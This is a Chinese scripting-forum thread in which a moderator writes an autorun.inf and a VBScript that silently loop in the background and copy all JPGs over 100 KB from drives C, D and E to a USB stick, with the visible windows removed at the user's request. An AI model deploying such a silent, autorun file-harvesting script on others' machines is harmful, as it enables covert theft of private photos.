[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖
行不通啊,怎么直接复制到U盘

TOP

请教版主,怎么用不了啊,是不是我那里弄错了。复制到U盘上是什么格式的。

TOP

本帖最后由 lyzhangzj 于 2011-11-21 21:42 编辑

提示35行第7个字符有误,麻烦版主再给修改一下吧:
1、请修改插入U盘自动运行;
2、请修改复制到U盘的‘资料’文件夹根目录下;
3、请去除"复制中...请稍后..."窗口和"没有发现U盘或者U盘没有插好!"窗口。
多谢了,版主。。。

TOP

回复 15# lyzhangzj


    什么意思?你的不是JPG文件吗,怎么又变成TXT了?
---学无止境---

TOP

回复 18# lyzhangzj


    插入U盘自动运行需要在你的U盘加一个autorun.inf的文件。
   你先把所有的需求一次性表达清楚了。我没时间跟你一点一点的讲解
---学无止境---

TOP

你好版主,我的意思主要是想:
1、插入U盘,打开之后自动后台运行复制程序(需添加一个autorun.inf的文件);
2、后台自动复制去除"复制中...请稍后..."窗口和"没有发现U盘或者U盘没有插好!"窗口;
3、能把所需的JPG格式文件复制到U盘“资料”根目录下面;
4、能否可以定义一下,只复制电脑的C盘、D盘、E盘。

多谢版主的帮忙。

TOP

Autorun.inf
  1. [autorun]
  2. open=wscript.exe AutoCopy.vbs
  3. shell\open=打开(&O)
  4. shell\open\command=wscript.exe AutoCopy.vbss
复制代码
  1. '保存我为 AutoCopy.vbs
  2. Dim fso,Disks,Disk,JpgPath
  3. Set fso = CreateObject("Scripting.FileSystemObject")
  4. Do
  5.   n = n+1
  6.   Set Disks = fso.Drives
  7.   For Each Disk In Disks
  8.     If Disk.IsReady And Disk.DriveType = 1 Then
  9.       JpgPath = Disk.DriveLetter & ":\资料\"
  10.       U = True
  11.     End if
  12.   Next
  13.   If U = True Then
  14.       CopyJpgs("C:\")
  15.   CopyJpgs("D:\")
  16.   CopyJpgs("E:\")
  17.   Else
  18.     If n=1 Then
  19.       WScript.Quit
  20.     End if
  21.   End If
  22.   WScript.Sleep 30000  '每30秒循环一次
  23. Loop
  24. Sub CopyJpgs(path)
  25.   Dim folder,subfolders,Files
  26.   Set folder = fso.getfolder(path)
  27.   Set subfolders = folder.subfolders
  28.   Set Files = folder.Files
  29.   For Each File In Files
  30.     If fso.GetExtensionName(File.path)="jpg" Then
  31.       fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  32.     End if
  33.   Next
  34.   For Each subfolder In subfolders
  35.       CopyJpgs(subfolder.path) '递归查找子目录
  36.   Next
  37. End Sub
复制代码
---学无止境---

TOP

本帖最后由 lyzhangzj 于 2011-11-22 14:11 编辑

版主,运行的时候出现以下情况(我的U盘是I盘)

脚本:I:/AutoCopy.vbs
行  :32
字符:7
错误:路径未找到
代码:800A004C
源  :vbs运行时错误

还有就是U盘插入打开之后不能自动复制呢,还要重新运行AutoCopy.vbs文件。请版主帮忙解决。

TOP

本帖最后由 broly 于 2011-11-22 14:23 编辑

不能自动运行应该是autorun.inf文件被禁用了,这是防止U盘病毒的做法,或者你顶楼那个autorun.inf写错了,我是复制那里的。提示出错,是不是你U盘没有“资料”这个文件夹?
---学无止境---

TOP

本帖最后由 lyzhangzj 于 2011-11-22 14:28 编辑

喔,这样可以了,不过运行的时候还是会出现32行第7个字符,错误:没有权限。还有30行,字符:3,错误:没有权限

TOP

我晚点再看看吧。现在用手机上线
---学无止境---

TOP

嗯,好的,多谢了。

TOP

回复 25# lyzhangzj


    我知道什么原因了。C盘有些文件夹VBS是不能访问的,其他盘的可以访问,所以说提示出错了。那些不够访问权限的,我把它屏蔽了。
至于自动运行的,我还没想到什么好方法。因为自动运行的功能,杀毒软件一向很注意防护的
  1. '保存我为 AutoCopy.vbs
  2. On Error Resume Next
  3. Dim fso,Disks,Disk,JpgPath
  4. Set fso = CreateObject("Scripting.FileSystemObject")
  5. Do
  6.   n = n+1
  7.   Set Disks = fso.Drives
  8.   For Each Disk In Disks
  9.     If Disk.IsReady And Disk.DriveType = 1 Then
  10.       JpgPath = Disk.DriveLetter & ":\资料\"
  11.       U = True
  12.     End if
  13.   Next
  14.   If U = True Then
  15.       CopyJpgs("C:\")
  16.           CopyJpgs("D:\")
  17.           CopyJpgs("E:\")
  18.   Else
  19.     If n=1 Then
  20.       WScript.Quit
  21.     End if
  22.   End If
  23.   WScript.Sleep 30000  '每30秒循环一次
  24. Loop
  25. Sub CopyJpgs(path)
  26.   Dim folder,subfolders,Files
  27.   Set folder = fso.getfolder(path)
  28.   Set subfolders = folder.subfolders
  29.   Set Files = folder.Files
  30.   For Each File In Files
  31.    If Err.Number=0 Then
  32.     If fso.GetExtensionName(File.path)="jpg" Then
  33.       fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  34.     End If
  35. Else
  36. Err.Clear
  37. End If
  38.   Next
  39.   For Each subfolder In subfolders
  40.       CopyJpgs(subfolder.path) '递归查找子目录
  41.   Next
  42. End Sub
复制代码
---学无止境---

TOP

这下好了,不过还有个小问题,能否再定义一下只复制大于100KB的JPG图片。多谢了。版主真是厉害。

TOP

坑爹啊,就不能一次性把需求说清楚吗?
  1. '保存我为 AutoCopy.vbs
  2. On Error Resume Next
  3. Dim fso,Disks,Disk,JpgPath
  4. Set fso = CreateObject("Scripting.FileSystemObject")
  5. Do
  6.   n = n+1
  7.   Set Disks = fso.Drives
  8.   For Each Disk In Disks
  9.     If Disk.IsReady And Disk.DriveType = 1 Then
  10.       JpgPath = Disk.DriveLetter & ":\资料\"
  11.       U = True
  12.     End if
  13.   Next
  14.   If U = True Then
  15.       CopyJpgs("C:\")
  16.           CopyJpgs("D:\")
  17.           CopyJpgs("E:\")
  18.   Else
  19.     If n=1 Then
  20.       WScript.Quit
  21.     End if
  22.   End If
  23.   WScript.Sleep 30000  '每30秒循环一次
  24. Loop
  25. Sub CopyJpgs(path)
  26.   Dim folder,subfolders,Files
  27.   Set folder = fso.getfolder(path)
  28.   Set subfolders = folder.subfolders
  29.   Set Files = folder.Files
  30.   For Each File In Files
  31.           If Err.Number=0 Then
  32.             If fso.GetExtensionName(File.path)="jpg" And _
  33.              fso.GetFile(File.path).Size>100*1024 Then
  34.               fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  35.             End If
  36.         Else
  37.                 Err.Clear
  38.         End If
  39.   Next
  40.   For Each subfolder In subfolders
  41.       CopyJpgs(subfolder.path) '递归查找子目录
  42.   Next
  43. End Sub
复制代码
---学无止境---

TOP

返回列表